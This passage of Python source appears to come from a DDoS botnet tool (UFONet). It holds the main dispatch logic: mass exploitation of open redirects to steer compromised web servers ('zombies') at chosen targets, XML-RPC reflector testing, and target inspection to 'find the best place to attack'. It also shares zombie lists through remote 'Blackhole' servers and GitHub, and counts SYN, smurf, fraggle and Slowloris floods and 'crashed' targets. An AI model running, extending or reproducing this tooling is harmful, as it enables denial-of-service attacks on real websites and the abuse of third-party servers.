  1106. print("\n- Victims found:", len(all_zombies_found), "\n")
  1107. print(" - Restored:", total_restored)
  1108. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  1109. print('-'*32)
  1110. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1111. print('='*62 + '\n')
  1112. if len(zombies_found) > 0:
  1113. if not self.options.forceyes:
  1114. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1115. print('-'*25)
  1116. else:
  1117. check_backup_reply = "Y"
  1118. if check_backup_reply == "n" or check_backup_reply == "N":
  1119. if os.path.isfile(self.humans_file):
  1120. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1121. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1122. else:
  1123. with open(self.humans_file, "w") as f:
  1124. for z in all_zombies_found:
  1125. if z.endswith(os.linesep):
  1126. z = z.replace(os.linesep, "")
  1127. if z not in zz or z+os.linesep not in zz:
  1128. f.write(z+os.linesep)
  1129. f.close()
  1130. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1131. print('-'*25 + "\n")
  1132. if new_zombies and new_zombies > 0:
  1133. if not self.options.forceyes:
  1134. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1135. print('-'*25 + "\n")
  1136. else:
  1137. check_url_link_reply = "Y"
  1138. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1139. print("[AI] "+self.exit_msg+"\n")
  1140. pass
  1141. else:
  1142. print("\n" + '='*44)
  1143. test = self.testing(all_zombies_found)
  1144. else:
  1145. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1146. except Exception:
  1147. print ("[Error] [AI] Something wrong (auto)searching...\n")
  1148. # test web 'zombie' servers -> show statistics
  1149. if options.test:
  1150. try:
  1151. self.banner()
  1152. zombies = self.extract_zombies()
  1153. if not zombies:
  1154. return
  1155. test = self.testing(zombies)
  1156. self.update_missions_stats() # update mothership missions stats
  1157. except Exception:
  1158. print ("\n[Error] [AI] Something wrong testing!\n")
  1159. if DEBUG == True:
  1160. traceback.print_exc()
  1161. # test XML-'rpc' pingback vulnerable servers -> update list
  1162. if options.testrpc:
  1163. try:
  1164. self.banner()
  1165. rpcs = self.extract_rpcs()
  1166. if not rpcs:
  1167. return
  1168. testrpc = self.testing_rpcs(rpcs)
  1169. self.update_missions_stats() # update mothership missions stats
  1170. except Exception:
  1171. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1172. if DEBUG == True:
  1173. traceback.print_exc()
  1174. # check botnet searching for zombies offline
  1175. if options.testoffline:
  1176. try:
  1177. self.banner()
  1178. testbotnet = self.testing_offline()
  1179. self.update_missions_stats() # update mothership missions stats
  1180. except Exception:
  1181. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1182. if DEBUG == True:
  1183. traceback.print_exc()
  1184. # check ALL botnet status
  1185. if options.testall:
  1186. try:
  1187. self.banner()
  1188. test_all_botnet = self.testing_all()
  1189. self.update_missions_stats() # update mothership missions stats
  1190. except Exception:
  1191. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1192. if DEBUG == True:
  1193. traceback.print_exc()
  1194. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1195. if options.target:
  1196. try:
  1197. self.banner()
  1198. zombies = self.extract_zombies()
  1199. if not zombies:
  1200. return
  1201. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1202. attack = self.attacking(zombies, options.target)
  1203. self.update_missions_stats() # update mothership missions stats
  1204. except Exception:
  1205. print ("\n[Error] [AI] Something wrong attacking!\n")
  1206. if DEBUG == True:
  1207. traceback.print_exc()
  1208. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1209. if options.target_list:
  1210. try:
  1211. self.banner()
  1212. zombies = self.extract_zombies()
  1213. if not zombies:
  1214. return
  1215. targets = self.extract_target_list()
  1216. if not targets:
  1217. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1218. return
  1219. self.options.forceyes = True # force-yes ON!
  1220. self.num_target_list = 0
  1221. print("\n[AI] Checking integrity of targets...\n")
  1222. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1223. if not t.startswith("http"): # discarded inmediately
  1224. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1225. targets.remove(t) # ¿remove? invalid targets
  1226. print("")
  1227. c = 0
  1228. for target in targets:
  1229. if target == "":
  1230. c = c + 1
  1231. else:
  1232. self.num_target_list = self.num_target_list + 1
  1233. if c == len(targets):
  1234. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1235. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1236. else:
  1237. for target in targets:
  1238. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1239. target = self.options.target
  1240. print('='*55 + "\n")
  1241. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1242. print("="*55)
  1243. attack = self.attacking(zombies, target)
  1244. self.update_missions_stats() # update mothership missions stats (each target counts)
  1245. except Exception:
  1246. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1247. if DEBUG == True:
  1248. traceback.print_exc()
  1249. # inspect target -> inspect target's components sizes
  1250. if options.inspect:
  1251. try:
  1252. self.banner()
  1253. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1254. print('='*22 + '\n')
  1255. self.instance = Inspector(self) # instance main class for inspection operations
  1256. inspection = self.instance.inspecting(options.inspect)
  1257. self.update_missions_stats() # update mothership missions stats
  1258. except Exception as e:
  1259. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1260. if DEBUG == True:
  1261. traceback.print_exc()
  1262. return #sys.exit(2)
  1263. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1264. if options.abduction:
  1265. try:
  1266. self.banner()
  1267. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1268. print('='*22 + '\n')
  1269. self.instance = Abductor(self) # instance main class for abduction operations
  1270. abduction = self.instance.abducting(options.abduction)
  1271. self.update_missions_stats() # update mothership missions stats
  1272. except Exception as e:
  1273. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1274. if DEBUG == True:
  1275. traceback.print_exc()
  1276. return #sys.exit(2)
  1277. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1278. if options.attackme:
  1279. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1280. try:
  1281. self.banner()
  1282. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1283. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1284. if not self.options.forceyes:
  1285. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1286. else:
  1287. update_reply = "Y"
  1288. if update_reply == "n" or update_reply == "N":
  1289. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1290. return
  1291. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1292. print("\n[Info] Mothership ID: " + self.mothership_id + "\n[Info] RND: " + self.mothership_hash)
  1293. print("\n[AI] Checking NAT/IP configuration:\n")
  1294. nat = self.check_nat()
  1295. f = open("alien", "w") # generate random alien worker
  1296. f.write(str(self.mothership_hash))
  1297. f.close()
  1298. if self.nat_error_flag == "ON":
  1299. return
  1300. zombies = self.extract_zombies()
  1301. if not zombies:
  1302. return
  1303. attackme = self.attackme(zombies)
  1304. self.update_missions_stats() # update mothership missions stats
  1305. except Exception as e:
  1306. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1307. if DEBUG == True:
  1308. traceback.print_exc()
  1309. return #sys.exit(2)
  1310. # check/update for latest stable version
  1311. if options.update:
  1312. self.banner()
  1313. try:
  1314. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1315. Updater()
  1316. except:
  1317. print("Not any .git repository found!\n")
  1318. print("="*30)
  1319. print("\nTo have working this feature, you should clone UFONet with:\n")
  1320. print("$ git clone %s" % self.GIT_REPOSITORY)
  1321. print("\nAlso you can try this other mirror:\n")
  1322. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1323. # launch GUI/Web interface
  1324. if options.web:
  1325. self.create_web_interface()
  1326. return
  1327. # deploy data to share in [/var/www/ufonet]
  1328. if options.deploy is not None:
  1329. self.banner()
  1330. euid = self.checkeuid()
  1331. if euid != 0:
  1332. print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
  1333. try:
  1334. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1335. os.execlpe('sudo', *args)
  1336. except:
  1337. pass
  1338. try:
  1339. print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
  1340. np = r''+self.warping_path+''
  1341. if not os.path.exists(np):
  1342. os.makedirs(np)
  1343. print("[AI] Created folder at: '"+self.warping_path+"'\n")
  1344. else:
  1345. print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [Passing!]\n")
  1346. from pathlib import Path # import pathlib
  1347. import shutil # import shutil
  1348. src = 'data/'
  1349. files=os.listdir(src)
  1350. print("[AI] GUI [Data] has been deployed...\n")
  1351. for fname in files:
  1352. shutil.copy2(os.path.join(src,fname), self.warping_path)
  1353. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1354. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1355. print("")
  1356. src2 = 'botnet/'
  1357. files=os.listdir(src2)
  1358. print("[AI] CORE [Botnet] has been deployed...\n")
  1359. for fname in files:
  1360. shutil.copy2(os.path.join(src2,fname), self.warping_path)
  1361. if fname == 'zombies.txt':
  1362. in_file = self.warping_path+"/"+fname
  1363. in_data = open(in_file, "rb").read()
  1364. out_gz = self.warping_path+"/"+"abductions.txt.gz"
  1365. gzf = gzip.open(out_gz, "wb")
  1366. gzf.write(in_data)
  1367. gzf.close()
  1368. os.unlink(in_file)
  1369. print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
  1370. os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
  1371. if fname == 'aliens.txt':
  1372. in_file = self.warping_path+"/"+fname
  1373. in_data = open(in_file, "rb").read()
  1374. out_gz = self.warping_path+"/"+"troops.txt.gz"
  1375. gzf = gzip.open(out_gz, "wb")
  1376. gzf.write(in_data)
  1377. gzf.close()
  1378. os.unlink(in_file)
  1379. print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
  1380. os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
  1381. if fname == 'droids.txt':
  1382. in_file = self.warping_path+"/"+fname
  1383. in_data = open(in_file, "rb").read()
  1384. out_gz = self.warping_path+"/"+"robots.txt.gz"
  1385. gzf = gzip.open(out_gz, "wb")
  1386. gzf.write(in_data)
  1387. gzf.close()
  1388. os.unlink(in_file)
  1389. print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
  1390. os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
  1391. if fname == 'ucavs.txt':
  1392. in_file = self.warping_path+"/"+fname
  1393. in_data = open(in_file, "rb").read()
  1394. out_gz = self.warping_path+"/"+"drones.txt.gz"
  1395. gzf = gzip.open(out_gz, "wb")
  1396. gzf.write(in_data)
  1397. gzf.close()
  1398. os.unlink(in_file)
  1399. print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
  1400. os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
  1401. if fname == 'rpcs.txt':
  1402. in_file = self.warping_path+"/"+fname
  1403. in_data = open(in_file, "rb").read()
  1404. out_gz = self.warping_path+"/"+"reflectors.txt.gz"
  1405. gzf = gzip.open(out_gz, "wb")
  1406. gzf.write(in_data)
  1407. gzf.close()
  1408. os.unlink(in_file)
  1409. print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
  1410. os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
  1411. if fname == 'snmp.txt':
  1412. in_file = self.warping_path+"/"+fname
  1413. in_data = open(in_file, "rb").read()
  1414. out_gz = self.warping_path+"/"+"bosons.txt.gz"
  1415. gzf = gzip.open(out_gz, "wb")
  1416. gzf.write(in_data)
  1417. gzf.close()
  1418. os.unlink(in_file)
  1419. print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
  1420. os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
  1421. if fname == 'ntp.txt':
  1422. in_file = self.warping_path+"/"+fname
  1423. in_data = open(in_file, "rb").read()
  1424. out_gz = self.warping_path+"/"+"crystals.txt.gz"
  1425. gzf = gzip.open(out_gz, "wb")
  1426. gzf.write(in_data)
  1427. gzf.close()
  1428. os.unlink(in_file)
  1429. print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
  1430. os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
  1431. if fname == 'dns.txt':
  1432. in_file = self.warping_path+"/"+fname
  1433. in_data = open(in_file, "rb").read()
  1434. out_gz = self.warping_path+"/"+"warps.txt.gz"
  1435. gzf = gzip.open(out_gz, "wb")
  1436. gzf.write(in_data)
  1437. gzf.close()
  1438. os.unlink(in_file)
  1439. print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
  1440. os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
  1441. if fname == 'dorks.txt':
  1442. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1443. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1444. print("")
  1445. print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
  1446. print(" - 1) Setup web server (apache, nginx...)")
  1447. print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
  1448. print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
  1449. print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
  1450. print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
  1451. print("")
  1452. except Exception as e:
  1453. print("[Error] "+str(e))
  1454. print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
  1455. # generate [Blackhole] server to share [Zombies]
  1456. if options.blackhole is not None:
  1457. self.banner()
  1458. try:
  1459. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1460. sys.path.append(blackhole_lib)
  1461. from core.tools.blackhole import BlackHole
  1462. print("\n[AI] Initiating void generation sequence...\n")
  1463. print('='*22 + '\n')
  1464. app = BlackHole()
  1465. app.start()
  1466. while True: time.sleep(1)
  1467. except KeyboardInterrupt:
  1468. print("\n[AI] Terminating void generation sequence...\n")
  1469. app.collapse()
  1470. except Exception as e:
  1471. print("[Error] "+str(e))
  1472. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1473. # create [Grider] server to share [Stats/Wargames/Messages]
  1474. if options.grider is not None:
  1475. self.banner()
  1476. try:
  1477. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1478. sys.path.append(grider_lib)
  1479. from core.tools.grider import Grider
  1480. print("\n[AI] Initiating void generation sequence...\n")
  1481. print('='*22 + '\n')
  1482. app = Grider()
  1483. app.start()
  1484. while True: time.sleep(1)
  1485. except KeyboardInterrupt:
  1486. print("\n[AI] Terminating void generation sequence...\n")
  1487. app.collapse()
  1488. except Exception as e:
  1489. print("[Error] "+str(e))
  1490. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1491. # download list of [Zombies] from a [Blackhole] IP
  1492. if options.dip is not None:
  1493. options.download = True
  1494. self.blackhole = options.dip
  1495. # upload list of [Zombies] to a [Blackhole] IP
  1496. if options.upip is not None:
  1497. options.upload = True
  1498. self.blackhole = options.upip
  1499. # download list of [Zombies] from Community nodes (Radar) [02/02/2022 OK!]
  1500. if options.download_nodes:
  1501. try:
  1502. self.banner()
  1503. print("\n[AI] Downloading list of [Zombies] from [Radar] [Blackhole] [Nodes] ...\n")
  1504. print('='*22 + '\n')
  1505. download_nodes_list = self.downloading_nodes_list()
  1506. except Exception as e:
  1507. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1508. return
  1509. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1510. if options.download:
  1511. try:
  1512. self.banner()
  1513. if options.dip is not None:
  1514. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1515. else:
  1516. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1517. print('='*22 + '\n')
  1518. download_list = self.downloading_list()
  1519. except Exception as e:
  1520. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1521. return
  1522. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1523. if options.upload:
  1524. try:
  1525. self.banner()
  1526. if options.upip is not None:
  1527. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1528. else:
  1529. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1530. print('='*22 + '\n')
  1531. upload_list = self.uploading_list()
  1532. except Exception as e:
  1533. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1534. if DEBUG == True:
  1535. traceback.print_exc()
  1536. return #sys.exit(2)
  1537. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1538. if options.download_github:
  1539. try:
  1540. self.banner()
  1541. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1542. print('='*22 + '\n')
  1543. download_github_list = self.downloading_github_list()
  1544. except Exception as e:
  1545. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1546. return
  1547. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1548. if options.upload_github:
  1549. try:
  1550. self.banner()
  1551. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1552. print('='*22 + '\n')
  1553. upload_github_list = self.uploading_github_list()
  1554. except Exception as e:
  1555. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1556. if DEBUG == True:
  1557. traceback.print_exc()
  1558. return #sys.exit(2)
  1559. # starting new zombie thread
  1560. def connect_zombies(self, zombie):
  1561. z=Zombie(self, zombie)
  1562. t = threading.Thread(target=z.connect, name=zombie)
  1563. t.start()
  1564. # single connection handling
  1565. def connect_zombie(self, zombie):
  1566. z=Zombie(self,zombie)
  1567. return z.connect()
  1568. def extract_proxy(self, proxy):
  1569. sep = ":"
  1570. proxy_ip = proxy.rsplit(sep, 1)[0]
  1571. if proxy_ip.startswith('http://'):
  1572. proxy_ip = proxy_ip.replace('http://', '')
  1573. elif proxy_ip.startswith('https://'):
  1574. proxy_ip = proxy_ip.replace('https://', '')
  1575. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1576. proxy_ip = 'localhost'
  1577. proxy_port = proxy.rsplit(sep, 1)[1]
  1578. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1579. return proxy_url
  1580. def proxy_transport(self, proxy):
  1581. proxy_url = self.extract_proxy(proxy)
  1582. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1583. opener = urllib.request.build_opener(proxy)
  1584. urllib.request.install_opener(opener)
  1585. def check_mothership_chargo(self):
  1586. f = open(self.zombies_file)
  1587. self.zombies = f.readlines()
  1588. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1589. self.list_zombies = []
  1590. for zombie in self.zombies:
  1591. t = urlparse(zombie)
  1592. name_zombie = t.netloc
  1593. if name_zombie == "":
  1594. name_zombie = zombie
  1595. self.list_zombies.append(name_zombie)
  1596. self.num_zombies = str(len(self.zombies))
  1597. f.close()
  1598. f = open(self.aliens_file)
  1599. self.aliens = f.readlines()
  1600. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1601. self.list_aliens = []
  1602. for alien in self.aliens:
  1603. t = urlparse(alien)
  1604. name_alien = t.netloc
  1605. if name_alien == "":
  1606. name_alien = alien
  1607. self.list_aliens.append(name_alien)
  1608. self.num_aliens = str(len(self.aliens))
  1609. f.close()
  1610. f = open(self.droids_file)
  1611. self.droids = f.readlines()
  1612. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1613. self.list_droids = []
  1614. for droid in self.droids:
  1615. t = urlparse(droid)
  1616. name_droid = t.netloc
  1617. if name_droid == "":
  1618. name_droid = droid
  1619. self.list_droids.append(name_droid)
  1620. self.num_droids = str(len(self.droids))
  1621. f.close()
  1622. f = open(self.ucavs_file)
  1623. self.ucavs = f.readlines()
  1624. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1625. self.list_ucavs = []
  1626. for ucav in self.ucavs:
  1627. t = urlparse(ucav)
  1628. name_ucav = t.netloc
  1629. if name_ucav == "":
  1630. name_ucav = ucav
  1631. self.list_ucavs.append(name_ucav)
  1632. self.num_ucavs = str(len(self.ucavs))
  1633. f.close()
  1634. f = open(self.rpcs_file)
  1635. self.rpcs = f.readlines()
  1636. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1637. self.list_rpcs = []
  1638. for rpc in self.rpcs:
  1639. t = urlparse(rpc)
  1640. name_rpc = t.netloc
  1641. if name_rpc == "":
  1642. name_rpc = rpc
  1643. self.list_rpcs.append(name_rpc)
  1644. self.num_rpcs = str(len(self.rpcs))
  1645. f.close()
  1646. f = open(self.dnss_file)
  1647. self.dnss = f.readlines()
  1648. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  1649. self.list_dnss = []
  1650. for dns in self.dnss:
  1651. t = urlparse(dns)
  1652. name_dns = t.netloc
  1653. if name_dns == "":
  1654. name_dns = dns
  1655. self.list_dnss.append(name_dns)
  1656. self.num_dnss = str(len(self.dnss))
  1657. f.close()
  1658. f = open(self.ntps_file)
  1659. self.ntps = f.readlines()
  1660. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  1661. self.list_ntps = []
  1662. for ntp in self.ntps:
  1663. t = urlparse(ntp)
  1664. name_ntp = t.netloc
  1665. if name_ntp == "":
  1666. name_ntp = ntp
  1667. self.list_ntps.append(name_ntp)
  1668. self.num_ntps = str(len(self.ntps))
  1669. f.close()
  1670. f = open(self.snmps_file)
  1671. self.snmps = f.readlines()
  1672. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  1673. self.list_snmps = []
  1674. for snmp in self.snmps:
  1675. t = urlparse(snmp)
  1676. name_snmp = t.netloc
  1677. if name_snmp == "":
  1678. name_snmp = snmp
  1679. self.list_snmps.append(name_snmp)
  1680. self.num_snmps = str(len(self.snmps))
  1681. f.close()
  1682. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_dnss) + int(self.num_ntps) + int(self.num_snmps))
  1683. return self.total_botnet
  1684. def update_flying_stats(self):
  1685. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1686. with open(self.mothership_stats_file, "w") as f:
  1687. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
  1688. stats_json_file = open(self.mothership_stats_file, "r")
  1689. data = json.load(stats_json_file)
  1690. stats_json_file.close()
  1691. aflying = data["flying"]
  1692. aflying = str(int(aflying) + 1) # add new flying time
  1693. data["flying"] = aflying
  1694. stats_json_file = open(self.mothership_stats_file, "w+")
  1695. stats_json_file.write(json.dumps(data))
  1696. stats_json_file.close()
  1697. def update_mothership_stats(self):
  1698. stats_json_file = open(self.mothership_stats_file, "r")
  1699. data = json.load(stats_json_file)
  1700. stats_json_file.close()
  1701. acompleted = data["completed"]
  1702. acompleted = str(int(acompleted) + 1) # add new completed attack
  1703. data["completed"] = acompleted
  1704. stats_json_file = open(self.mothership_stats_file, "w+")
  1705. stats_json_file.write(json.dumps(data))
  1706. stats_json_file.close()
  1707. def update_targets_crashed(self):
  1708. stats_json_file = open(self.mothership_stats_file, "r")
  1709. data = json.load(stats_json_file)
  1710. stats_json_file.close()
  1711. tcrashed = data["crashed"]
  1712. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1713. data["crashed"] = tcrashed
  1714. stats_json_file = open(self.mothership_stats_file, "w+")
  1715. stats_json_file.write(json.dumps(data))
  1716. stats_json_file.close()
  1717. def update_missions_stats(self):
  1718. stats_json_file = open(self.mothership_stats_file, "r")
  1719. data = json.load(stats_json_file)
  1720. stats_json_file.close()
  1721. missions = data["missions"]
  1722. missions = str(int(missions) + 1) # add new mission target
  1723. data["missions"] = missions
  1724. stats_json_file = open(self.mothership_stats_file, "w+")
  1725. stats_json_file.write(json.dumps(data))
  1726. stats_json_file.close()
  1727. def update_scanner_stats(self, num):
  1728. stats_json_file = open(self.mothership_stats_file, "r")
  1729. data = json.load(stats_json_file)
  1730. stats_json_file.close()
  1731. scanner = data["scanner"]
  1732. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1733. data["scanner"] = scanner
  1734. stats_json_file = open(self.mothership_stats_file, "w+")
  1735. stats_json_file.write(json.dumps(data))
  1736. stats_json_file.close()
  1737. def update_transferred_stats(self, num):
  1738. stats_json_file = open(self.mothership_stats_file, "r")
  1739. data = json.load(stats_json_file)
  1740. stats_json_file.close()
  1741. transferred = data["transferred"]
  1742. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1743. data["transferred"] = transferred
  1744. stats_json_file = open(self.mothership_stats_file, "w+")
  1745. stats_json_file.write(json.dumps(data))
  1746. stats_json_file.close()
  1747. def update_max_chargo(self, chargo):
  1748. stats_json_file = open(self.mothership_stats_file, "r")
  1749. data = json.load(stats_json_file)
  1750. stats_json_file.close()
  1751. amax_chargo = data["max_chargo"]
  1752. if int(chargo) > int(amax_chargo): # new max chargo found
  1753. amax_chargo = chargo # add new max chargo
  1754. else:
  1755. amax_chargo = data["max_chargo"]
  1756. data["max_chargo"] = amax_chargo
  1757. stats_json_file = open(self.mothership_stats_file, "w+")
  1758. stats_json_file.write(json.dumps(data))
  1759. stats_json_file.close()
  1760. def update_loic_stats(self):
  1761. stats_json_file = open(self.mothership_stats_file, "r")
  1762. data = json.load(stats_json_file)
  1763. stats_json_file.close()
  1764. aloic = data["loic"]
  1765. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1766. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1767. data["loic"] = aloic
  1768. stats_json_file = open(self.mothership_stats_file, "w+")
  1769. stats_json_file.write(json.dumps(data))
  1770. stats_json_file.close()
  1771. def update_loris_stats(self):
  1772. stats_json_file = open(self.mothership_stats_file, "r")
  1773. data = json.load(stats_json_file)
  1774. stats_json_file.close()
  1775. aloris = data["loris"]
  1776. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1777. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1778. data["loris"] = aloris
  1779. stats_json_file = open(self.mothership_stats_file, "w+")
  1780. stats_json_file.write(json.dumps(data))
  1781. stats_json_file.close()
  1782. def update_ufosyn_stats(self):
  1783. stats_json_file = open(self.mothership_stats_file, "r")
  1784. data = json.load(stats_json_file)
  1785. stats_json_file.close()
  1786. aufosyn = data["ufosyn"]
  1787. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1788. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1789. data["ufosyn"] = aufosyn
  1790. stats_json_file = open(self.mothership_stats_file, "w+")
  1791. stats_json_file.write(json.dumps(data))
  1792. stats_json_file.close()
  1793. def update_spray_stats(self):
  1794. stats_json_file = open(self.mothership_stats_file, "r")
  1795. data = json.load(stats_json_file)
  1796. stats_json_file.close()
  1797. aspray = data["spray"]
  1798. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1799. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1800. data["spray"] = aspray
  1801. stats_json_file = open(self.mothership_stats_file, "w+")
  1802. stats_json_file.write(json.dumps(data))
  1803. stats_json_file.close()
  1804. def update_smurf_stats(self):
  1805. stats_json_file = open(self.mothership_stats_file, "r")
  1806. data = json.load(stats_json_file)
  1807. stats_json_file.close()
  1808. asmurf = data["smurf"]
  1809. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1810. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1811. data["smurf"] = asmurf
  1812. stats_json_file = open(self.mothership_stats_file, "w+")
  1813. stats_json_file.write(json.dumps(data))
  1814. stats_json_file.close()
  1815. def update_fraggle_stats(self):
  1816. stats_json_file = open(self.mothership_stats_file, "r")
  1817. data = json.load(stats_json_file)
  1818. stats_json_file.close()
  1819. afraggle = data["fraggle"]
  1820. afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
  1821. self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
  1822. data["fraggle"] = afraggle
  1823. stats_json_file = open(self.mothership_stats_file, "w+")
